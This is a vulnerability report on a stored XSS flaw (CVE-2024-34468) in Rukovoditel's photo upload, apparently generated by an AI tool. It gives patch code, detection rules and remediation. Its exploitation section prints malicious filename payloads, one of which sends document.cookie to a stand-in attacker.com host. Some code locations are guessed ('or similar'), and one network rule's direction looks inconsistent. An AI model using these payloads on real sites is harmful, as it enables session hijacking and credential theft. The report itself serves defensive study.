CVE-2024-34468

Executive Summary

CVE-2024-34468 is a stored Cross-Site Scripting (XSS) vulnerability in Rukovoditel, an open-source project management and CRM platform. The flaw exists in the user profile photo upload functionality, specifically in the user_photo parameter on the "My Page" section. An authenticated attacker with the ability to upload a profile photo can inject arbitrary JavaScript code into the image filename or metadata. When the photo is rendered on the page, the injected script executes in the context of any user viewing the profile, including administrators. This can lead to session hijacking, credential theft, or internal network reconnaissance. The vulnerability affects all versions prior to 3.5.3. No public exploit code or Nuclei template is available, but the attack vector is straightforward and well-documented.

Supply Chain & Package Security

Rukovoditel is a self-hosted PHP application. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. Users should verify the integrity of their downloaded package from the official source and ensure no malicious modifications have been introduced.

CVSS Breakdown & Threat Level

CVSS v3.1 Score: 4.8 (Medium)

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker must have a valid user account.
• User Interaction (UI): Required (R) – The victim must view the attacker's profile page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the potential for privilege escalation and lateral movement makes it a significant concern in multi-tenant environments.

Deep Dive & Mechanics

The vulnerability resides in the user profile photo upload feature. Rukovoditel stores the uploaded photo filename in the database and displays it in the <img> tag's src attribute or as a fallback text. The application fails to sanitize the filename or the alt attribute, allowing an attacker to inject JavaScript.

Attack Flow:

1. Attacker logs in with a valid account.
2. Attacker navigates to "My Page" and uploads a profile photo.
3. The attacker crafts a malicious filename, e.g., "><img src=x onerror=alert(document.cookie)>.png.
4. The application stores this filename in the database without proper encoding.
5. When an administrator or another user views the attacker's profile, the browser renders the malicious filename as HTML, executing the injected script.

Root Cause: Insufficient input validation and output encoding. The application does not sanitize the filename before storing it, and does not HTML-encode the filename when rendering it in the page.

Vulnerable vs. Patched Code

Vulnerable Code (pre-3.5.3):

// In users/photo.php or similar
$photo = $_FILES['user_photo']['name'];
// No sanitization
move_uploaded_file($_FILES['user_photo']['tmp_name'], "data/users/" . $photo);
// Later, in profile display:
echo "<img src='data/users/" . $photo . "' alt='User Photo'>";

Patched Code (3.5.3+):

// Sanitize filename
$photo = preg_replace('/[^a-zA-Z0-9._-]/', '', $_FILES['user_photo']['name']);
// Or use a random generated name
$photo = uniqid() . '.' . pathinfo($_FILES['user_photo']['name'], PATHINFO_EXTENSION);
// Output encoding
echo "<img src='data/users/" . htmlspecialchars($photo, ENT_QUOTES, 'UTF-8') . "' alt='User Photo'>";

The patch removes special characters from the filename and applies HTML entity encoding when outputting.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid user account on a Rukovoditel instance (version < 3.5.3).
• Ability to upload a profile photo.

Exploit Steps:

1. Log in to Rukovoditel.
2. Navigate to "My Page" → "Edit" → "Photo".
3. Create a file with a malicious name. For example, rename a legitimate image to:

   "><img src=x onerror=alert(document.cookie)>.png
   

4. Upload this file.
5. When an administrator views your profile, the XSS triggers.

Advanced Payload:

"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>.png

Note: No public exploit code is available, but the technique is trivial.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual filenames in upload logs (e.g., containing <, >, script, onerror).
• Look for HTTP requests to /users/photo.php or similar endpoints with suspicious Content-Disposition headers.
• Use WAF rules to block filenames containing HTML/JavaScript characters.

Hardening:

• Apply the patch by upgrading to version 3.5.3 or later.
• Implement a Content Security Policy (CSP) that restricts inline scripts.
• Use a reverse proxy to sanitize upload filenames.
• Enforce strict file type validation (MIME type, magic bytes).

Indicators of Compromise (IOCs)

File-Based IOCs:

• Filenames containing HTML tags or JavaScript event handlers (e.g., <script>, onerror=, onload=).
• Unexpected files in the data/users/ directory with non-standard extensions.

Network IOCs:

• Outbound HTTP requests to attacker-controlled domains from the Rukovoditel server.
• Suspicious Referer headers pointing to profile pages.

Log IOCs:

• PHP error logs showing move_uploaded_file with unusual filenames.
• Web server access logs with 200 responses to profile pages followed by outbound connections.

Detection Engineering

YARA Rule

rule CVE_2024_34468_XSS_Photo_Filename {
    meta:
        description = "Detects malicious filenames used in CVE-2024-34468 XSS attack"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-34468"
    strings:
        $xss_pattern1 = /<[^>]*script[^>]*>/i
        $xss_pattern2 = /onerror\s*=/i
        $xss_pattern3 = /onload\s*=/i
        $xss_pattern4 = /javascript\s*:/i
    condition:
        any of ($xss_pattern*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-34468 Rukovoditel XSS via Photo Upload
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects attempts to exploit XSS in Rukovoditel user photo upload
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/index.php'
        cs-uri-query|contains: 'module=users/photo'
        cs-username|exists: true
    filter:
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection and filter
falsepositives:
    - Legitimate filenames with unusual characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-34468 Rukovoditel XSS Photo Upload Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/index.php"; http_uri;
    content:"module=users/photo"; http_uri;
    pcre:"/(<[^>]*script[^>]*>|onerror=|onload=)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to Rukovoditel version 3.5.3 or later.
2. If upgrade is not possible, manually apply the patch by sanitizing filenames in users/photo.php and encoding output.
3. Restrict user registration to trusted individuals only.
4. Implement a Web Application Firewall (WAF) rule to block malicious filenames.

Long-Term Hardening:

• Enforce a Content Security Policy (CSP) with script-src 'self'.
• Use a dedicated file upload handler that generates random filenames.
• Conduct regular security audits of custom code.
• Monitor for similar vulnerabilities in other upload endpoints.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.